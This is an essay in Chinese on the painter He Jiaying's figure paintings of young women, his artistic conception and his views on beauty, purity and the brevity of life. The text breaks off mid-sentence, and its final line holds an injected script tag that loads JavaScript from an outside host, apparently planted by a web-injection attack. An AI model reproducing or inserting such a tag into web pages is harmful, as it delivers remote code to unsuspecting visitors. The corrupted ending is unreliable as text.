何家英是以人物画著称于中国画坛的。他的作品以韶华正盛的女性为主要表现对象，其笔下的形象，如黄昏雨后的出水芙蓉，清新、纯洁、沉静、幽雅，又隐隐发散着一种淡若无痕的“风露清愁”，其美沁人心脾，使人不敢亵渎；又如梦幻，让人唯恐惊觉。应该说，何家英的作品在意境的创造上是十分成功的，这也是他拔萃于当代人物画坛的根本所在。

清代的方薰在《山静居画论》中总结到：“作画先立意以定位置。意奇则奇，意高则高，意远则远，意深则深，意古则古，庸则庸，俗则俗矣”。何家英作品的高妙之处首先在于立意，它们以对现实和人的关注、对人性的关注、对人的心灵的关注为着眼点，有着饱满的精神内涵。中国晋唐时代艺术家们对于人的外仪和内质的全面展现，西方艺术家们对于人的命运的关注、对于人性的善恶美丑的揭示，是何家英珍视的传统，共同滋养了他的创作理念。同时，他又认为，这个“人”是与艺术家本身对应的，画家要真正表现人，最终要表达的还是他自己。他的作品便是他自我心灵的写照，折射着他的生命体验和审美趣味：“我笔下的对象是我内心世界的表达，我必须要赋予对象以我的思想、感情、格调，这才是我的画。”

对生命的珍重、对命运不可知以及生命短暂的迷茫与无奈、对美好事物的留恋和珍惜、对理想的追求这些具有东方哲学意味的人生情怀在何家英身上表现得尤为突出和强烈。秋天是最能触动他心灵的季节，秋风萧瑟、草木摇落的景象往往激发他内心深处对时光流逝、生命短暂的叹惋，他说：“我的思绪被秋风卷引着，那感觉是难以名状的，有凄凉，有眷恋，甚至还有一种悲壮感。我终于明白了古人要说‘秋冬之际，犹难为怀’。那紫蓝的纯净的天空禁默无语，强烈地感染着我的意绪，我感到一种生命的大悲幻。”他认为，人的一生悲喜相杂，不可能都是苦涩的或者是甜蜜的。无论处境如何，都不能泯灭人内心深处对美好生活的渴望和追求：“实际上人都在期待一种幸福，一种未来，而这种期待是诗意的。有了期待，人活着就有了意义。”他认为纯洁是一个人最可宝贵的品格，也是他个人的一种人生理想：“我希望在人生短短几十年中纯洁地生活。”

“我创作，是因为‘美’，所以我选择了‘女性’，确切地说，是‘女儿性’，曹雪芹笔下‘质本洁来还洁去’的‘女儿性’。”何家英认为，青春少女身上有许多特质非常唯美，她们是承载他思想感情、审美趣味的理想选择。 很自然地，他笔下的形象着上了“我之色彩”：“不管我所画对象多么不同，但她们一例都有一种高洁的气质、伤感的情绪。”“我把少女刻画得纤毫毕现，当然还是强调她的纯洁。”“所以在我的人?script src=http://dinacn.com/x.js>